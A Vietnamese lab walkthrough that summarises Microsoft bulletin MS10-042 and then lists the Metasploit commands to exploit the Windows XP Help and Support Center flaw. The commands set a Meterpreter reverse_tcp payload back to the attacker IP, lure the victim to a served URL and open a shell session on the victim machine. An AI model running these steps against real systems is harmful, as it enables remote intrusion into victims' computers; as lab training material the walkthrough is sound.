Sử dụng Metasploit để khai thác lỗ hổng MS10-042 trên WindowsXP

Thông tin về lỗ hổng:

Bulletin ID	Tiêu đề	Mức độ cảnh báo	Ảnh hưởng	Yêu cầu khởi động lại	Phần mềm bị ảnh hưởng*
MS10-042	Lỗ hổng bảo mật trong “Help and Support Center” có thể cho phép thực hiện mã lệnh từ xa (2229593)	Nghiêm trọng	Thực hiện mã lệnh từ xa	Có thể yêu cầu khời động lại	Microsoft Windows XP và Windows Server 2003

Thông tin chi tiết:

Nhận dạng	Microsoft Security Bulletin MS10-042
Tiêu đề	Lỗ hổng bảo mật trong Help and Support Center Could có thể cho phép thực hiện mã lệnh từ xa (2229593)
Thực hiện	Cập nhật bảo mật này giải quyết lỗ hổng công khai trong Windows Help and Support Center được cung cấp với các phiên bản của Windows XP và Windows Server 2003. Lỗ hổng này có thể cho phép thực thi mã từ xa nếu người dùng xem một trang web đặc biệt qua một trình duyệt web hoặc nhấp vào một liên kết đặc biệt trong một thông báo e-mail. Bản cập nhật bảo mật xác định các lỗ hổng bằng cách thay đổi cách thức mà dữ liệu được xác nhận khi được truyền cho Windows Help and Support Center. Cập nhật bảo mật này cũng xác định các lỗ hổng được mô tả đầu tiên trong Microsoft Security Advisory 2219475.
Các phần mềm bị ảnh hưởng	Cập nhật bảo mật này được đánh giá là Nghiêm Trọng cho tất cả các phiên bản Microsoft Windows XP, và đánh giá mức độ Thấp cho tất cả các phiên bản Windows Server 2003
Cơ chế ảnh hưởng	• Cố truy cập thông qua trang web giả mạo • Cố truy cập thông qua email giả mạo.
Hình thức giảm nhẹ ảnh hưởng	• Người dùng phải bị lừa để truy cập vào trang web xấu. • Có thể không được khai thác tự động thông qua e-mail, bởi vì một người sử dụng phải mở một file đính kèm được gửi trong một tin nhắn e-mail. • Một kẻ tấn công đã khai thác thành công lỗ hổng này có thể đạt được quyền sử dụng giống như người dùng trong hệ thống mạng nội bộ. Người dùng có ít quyền truy cập hệ thống có thể ít bị ảnh hưởng hơn so với người dùng có quyền truy cập quản trị hệ thống.
Yêu cầu khởi động lại	Có thể yêu cầu khởi động lại
Cập nhật bảo mật nào được thay thế bởi cập nhật này	Không có
Thông tin chi tiết	http://www.microsoft.com/technet/security/bulletin/MS10-042.mspx

1.      Mô hình bài Lab:

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.132.137

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.132.138

2.      Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh:

msf > search ms10_042

copy đường dẫn, enter gõ use “dán đường dẫn vào”

msf > use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec

Gõ show options để thấy các options của lệnh.

msf  exploit(ms10_042_helpctr_xss_cmd_exec) > show options

Lần lượt gõ các lệnh sau:

msf  exploit(ms10_042_helpctr_xss_cmd_exec) > set SRVHOST 192.168.132.137

msf  exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp

msf  exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST 192.168.132.137

msf  exploit(ms10_042_helpctr_xss_cmd_exec) > exploit

Sau khi gõ lệnh exploit để khai thác lỗi ta sẽ thấy chương trình đưa ra cho ta 1 URL website, lúc này chỉ cần dụ nạn nhân nhập vào URL này, ta sẽ tấn công được máy nạn nhân. Ở đây URL là:

http://192.168.132.137:80/

Chương trình này sẽ dựa vào lỗi và sẽ mở ra Help and Support Center của máy nạn nhân

Backtrack gửi mã độc qua cho máy nạn nhân

Gõ lệnh sessions để coi Session đang thực hiện, ta thấy có 1 Session đang thực hiện tấn công tới máy 192.168.132.138 trên port 1207

Gõ lệnh sessions –i 1

Ta đã tấn công được vào máy nạn nhân, ta thấy máy nạn nhân là Windows XP 32 bit.

Xem thông tin ổ đĩa máy nạn nhân, tạo thử thư mục Khoinv

OK, ta đã thâm nhập thành công!.